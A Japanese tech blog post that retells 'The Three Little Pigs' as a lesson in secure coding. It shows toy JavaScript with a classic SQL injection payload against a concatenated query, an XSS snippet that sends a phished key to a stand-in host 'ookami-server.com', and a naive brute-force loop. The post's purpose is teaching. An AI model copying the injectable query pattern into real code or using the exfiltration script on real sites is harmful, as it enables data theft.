藁の家は危ない!「三びきのこぶた」に学ぶ、セキュアなインフラ構築の秘訣
Blog Post
Aug 9, 2025

藁の家は危ない!「三びきのこぶた」に学ぶ、セキュアなインフラ構築の秘訣

「住所は' or '1'='1'-- だ!」無防備な情報が招いたのは、家ごと消し飛ぶ恐怖。SQLインジェクション、XSS攻撃…次々と襲い掛かるサイバー攻撃!三匹の子豚の物語は、今、究極のセキュリティバトルへと進化する!レンガの家の鉄壁防御を突破できるか?オオカミの執拗な攻撃に、あなたは耐えられるか? 想像を絶する脅威が、今、幕を開ける!

わらの家の脆弱性:SQLインジェクションの脅威!

長男のこぶたは、軽快な鼻歌を歌いながら、あっという間にわらの家を建て終えました。「できた!」と満足げに声をあげると、ちょうど通りかかったオオカミがにやりと笑いました。

「やあ、こぶたくん。立派な家じゃないか。住所を教えてくれないか?」

長男のこぶたは、警戒心もなく答えました。「僕の家は' or '1'='1'-- です!」


function getPigHouseAddress(address) {
  let query = "SELECT * FROM houses WHERE address = '" + address + "'";
  // 危険なSQLクエリの実行!
  let result = executeSql(query); 
  return result;
}

let address = getPigHouseAddress("わらの家' or '1'='1'-- "); // SQLインジェクション攻撃!
console.log(address); // 全ての家の情報が表示されてしまう!

function blowDownHouse(house) {
    // 家を吹き飛ばす処理
}

blowDownHouse(address[0]); // 最初の家の情報を使って家を吹き飛ばす。これは長男こぶたのわらの家!

オオカミは、長男のこぶたが教えてくれた住所を心の中で繰り返しました。「' or '1'='1'-- か...」。そして、何かを思いついたようにニヤリと笑いました。オオカミは、この一見普通の住所に隠された恐ろしい秘密に気づいていたのです。それは、データベースを操る魔法の呪文、SQLインジェクションでした。

オオカミは、その呪文を唱えました。すると、大地が揺れ、長男のこぶたのわらの家は、まるで魔法のように跡形もなく吹き飛んでしまいました!

「なんてことだ!」長男のこぶたは叫びましたが、時すでに遅し。オオカミは、吹き飛んだわらの家の残骸の中から長男のこぶたを捕まえ、あっという間に食べてしまいました。

「ふふふ...セキュリティ対策もせずに、安易に情報を教えてくれるとは、いい鴨だったな。」オオカミは満腹のお腹をさすりながら、次の獲物を探しに森の奥へと姿を消しました。

第1章の挿絵

木の家の甘い罠:XSS攻撃の洗礼!

長男の悲劇を目の当たりにした次男のこぶたは、震える手で木の家を建て始めました。「わらの家よりは丈夫だろう…」と呟きながら、木の板を一枚一枚丁寧に重ねていきます。彼は、兄が住所をそのまま教えてしまった愚を繰り返さないよう、家の入り口に掲示板を設置し、「ここにメッセージを残してください」と書き込みました。

森を徘徊していたオオカミは、木の家を見つけると、美味しそうな匂いにつられて近づいてきました。「今度こそは…」と呟きながら、掲示板に目をやります。「メッセージか…よし!」オオカミは、次のように書き込みました。


<script>
function stealKey() {
  let key = prompt("家の鍵を入力してください🔑"); // 偽の鍵入力ダイアログを表示
  fetch('//ookami-server.com?key=' + encodeURIComponent(key)); // オオカミのサーバーに鍵を送信
}
stealKey();
</script>

「これで、家の鍵をゲットできるはずだ!」オオカミはほくそ笑みます。

何も知らない次男のこぶたが掲示板を見ると、怪しいスクリプトが実行され、鍵の入力を促すダイアログが表示されました。「家の鍵? なぜ掲示板に…?」と疑問に思いながらも、次男は素直に鍵を入力してしまいました。この瞬間、入力された鍵の情報は、オオカミのサーバーへと送信されてしまったのです。

オオカミは、盗み出した鍵を使って木の家の扉をいとも簡単に開けました。「開いたぞ!」

「うわああ!」次男のこぶたは叫びましたが、逃げ出す間もなく、オオカミにつかまり、食べられてしまいました。

「セキュリティ対策は入り口だけじゃダメだな。入力値のチェックは必須だぞ。」オオカミは満腹のお腹をさすりながら、最後の獲物を求めて森の奥へと消えていきました。

第2章の挿絵

レンガの堅牢さ:セキュアコーディングの勝利!

三男のこぶたは、兄たちの悲劇を心に刻み、黙々とレンガを積み上げていました。汗を拭いながら、彼は呟きます。「セキュリティこそ命だ。セキュアコーディングを徹底するぞ!」

オオカミは、レンガの家を見つけると、今度こそはと意気込みました。「頑丈そうだな…だが、俺のブルートフォースアタックで突破してやる!」


function bruteForceAttack(password) {
  const passwords = ["password123", "123456", "qwerty", /* 辞書攻撃 */ ];
  for (let i = 0; i < passwords.length; i++) {
    if (passwords[i] === password) {
      console.log("侵入成功!🔑");
      return true; // 辞書攻撃成功!
    }
  }

 // ランダムなパスワード生成による攻撃
  for (let i = 0; i < 10000; i++) { // 1万回試行
    const randomPassword = generateRandomPassword();
    if (checkPassword(randomPassword, password)) { // パスワードチェック
      console.log("侵入成功!🔑");
      return true; // ランダム攻撃成功!
    }
  }
  console.log("侵入失敗...");
  return false;
}

function checkPassword(input, correctPassword) {
  // パスワードのハッシュ値を比較
  return bcrypt.compareSync(input, correctPassword); 
}

「だめだ…全然突破できない!」オオカミは悔しがります。「入力値チェック、パラメータ化クエリ…あらゆる対策が施されている!」

三男のこぶたは、家の中から声をかけます。「僕の家は、入力バリデーション、出力エンコーディング、多層防御で守られているんだ。ブルートフォースアタックなんて無駄だよ!」

諦めかけたオオカミでしたが、ふと煙突に気づきます。「そうだ!煙突から入れば…!」

「セキュリティは、コードだけじゃダメだ。設計上の欠陥も見逃すなよ!」煙突から侵入したオオカミは、三男のこぶたを捕まえようとしますが…

「待てい!」三男のこぶたは叫びました。「煙突には、侵入検知システムを設置済みだ!」


function detectIntrusion(entryPoint) {
  if (entryPoint === "chimney") { // 煙突からの侵入を検知!
    console.log("侵入を検知!🚨 警備員を呼びます!");
    alertSecurityGuards(); // 警備員を呼ぶ関数
    return true; // 侵入検知!
  }
  return false; 
}

detectIntrusion("chimney"); // 煙突からの侵入を検知!

サイレンの音とともに、森の警備隊が現れ、オオカミはあっけなく捕まりました。「ぐぬぬ…想定外だ!」

三男のこぶたは、安堵のため息をつきました。「完璧なセキュリティなんてない。常に改善を続けることが大切なんだ。」

第3章の挿絵

多層防御の鉄壁:想定外の攻撃への対策!

「だめだ…全然突破できない!」オオカミは悔しがります。「入力値チェック、パラメータ化クエリ…あらゆる対策が施されている!」

三男のこぶたは、家の中から余裕の表情で返事をします。「僕の家は、入力バリデーション、出力エンコーディング、多層防御で守られているんだ。ブルートフォースアタックなんて無駄だよ!」

諦めかけたオオカミでしたが、ふと煙突に気づきます。「そうだ!煙突から入れば…!」

「セキュリティは、コードだけじゃダメだ。設計上の欠陥も見逃すなよ!」煙突から侵入を試みるオオカミ。しかし…

「ちょっと待った!」三男のこぶたの声が響きます。「この家は多層防御だ!第二の防御システム、`chimneyDefenseSystem()`が発動する!」


function chimneyDefenseSystem() {
  const chimneyStatus = getChimneyStatus();
  if (chimneyStatus === "intruderDetected") {
    activateBoilingWaterTrap(); // 熱湯トラップ発動!
    console.log("熱湯トラップ発動!🔥");
  }
}

function getChimneyStatus() {
    // 煙突に何かが侵入したことを検知するセンサー
    return "intruderDetected";
}

function activateBoilingWaterTrap() {
    // 熱湯の鍋を煙突の下に移動する処理
}

chimneyDefenseSystem(); // 熱湯トラップ発動!

煙突の中に仕掛けられていた熱湯の鍋に、オオカミはまっさかさま!「あっちちちち!想定外すぎる!」

三男のこぶたは、煙突から聞こえるオオカミの悲鳴に、「フンッ」と鼻を鳴らします。「セキュリティは常に進化する必要がある。侵入テストで想定外の攻撃を洗い出し、対策を講じる。それがセキュアなシステム構築の鉄則だ。」

こうして、三男のこぶたは、セキュリティへの飽くなき探求心で、レンガの家を守り抜いたのでした。一方、オオカミは、熱湯でできたてのオオカミスープになってしまいました。めでたし、めでたし…って、オオカミ、大丈夫? まあ、セキュリティの世界は厳しいですからね。あ、でも、これって倫理的にどうなの? まあ、いいか。とにかく、三男のこぶたは今日もセキュアな日々を送っています。

第4章の挿絵
No items found.

Latest Posts

All Posts

Blog Post
Aug 10, 2025

橋の土台を築け! 「大工と鬼六」に学ぶ、レガシーシステムからの脱出 (技術的負債からの解放)

橋の土台を築け! 「大工と鬼六」に学ぶ、レガシーシステムからの脱出 (技術的負債からの解放)橋の土台を築け! 「大工と鬼六」に学ぶ、レガシーシステムからの脱出 (技術的負債からの解放)
Arrow Right Up
Arrow Right Up
Read Post
Read Post
Blog Post
Aug 10, 2025

扉を開けてはいけない! 「おおかみと七ひきのこやぎ」に学ぶ、多層防御とAPIセキュリティの重要性

扉を開けてはいけない! 「おおかみと七ひきのこやぎ」に学ぶ、多層防御とAPIセキュリティの重要性扉を開けてはいけない! 「おおかみと七ひきのこやぎ」に学ぶ、多層防御とAPIセキュリティの重要性
Arrow Right Up
Arrow Right Up
Read Post
Read Post
Blog Post
Aug 10, 2025

王様、何も着ていません!「裸の王様」に学ぶ、テストなしのシステムは危険です

王様、何も着ていません!「裸の王様」に学ぶ、テストなしのシステムは危険です王様、何も着ていません!「裸の王様」に学ぶ、テストなしのシステムは危険です
Arrow Right Up
Arrow Right Up
Read Post
Read Post
Blog Post
Jul 30, 2025

三つの願いを叶えろ!「三匹の熊」に学ぶ、夢のアーキテクチャ構築と要件定義の重要性

三つの願いを叶えろ!「三匹の熊」に学ぶ、夢のアーキテクチャ構築と要件定義の重要性三つの願いを叶えろ!「三匹の熊」に学ぶ、夢のアーキテクチャ構築と要件定義の重要性
Arrow Right Up
Arrow Right Up
Read Post
Read Post
Blog Post
Aug 7, 2025

山猫よ、どんぐりの裁判は終わったか!「どんぐりと山猫」に学ぶ、モジュール化で解決する複雑なシステム開発

山猫よ、どんぐりの裁判は終わったか!「どんぐりと山猫」に学ぶ、モジュール化で解決する複雑なシステム開発山猫よ、どんぐりの裁判は終わったか!「どんぐりと山猫」に学ぶ、モジュール化で解決する複雑なシステム開発
Arrow Right Up
Arrow Right Up
Read Post
Read Post
Blog Post
Jul 29, 2025

許されざる恋の炎よ! 「安珍・清姫伝説」に学ぶ、マイクロサービス移行の成功と失敗

許されざる恋の炎よ! 「安珍・清姫伝説」に学ぶ、マイクロサービス移行の成功と失敗許されざる恋の炎よ! 「安珍・清姫伝説」に学ぶ、マイクロサービス移行の成功と失敗
Arrow Right Up
Arrow Right Up
Read Post
Read Post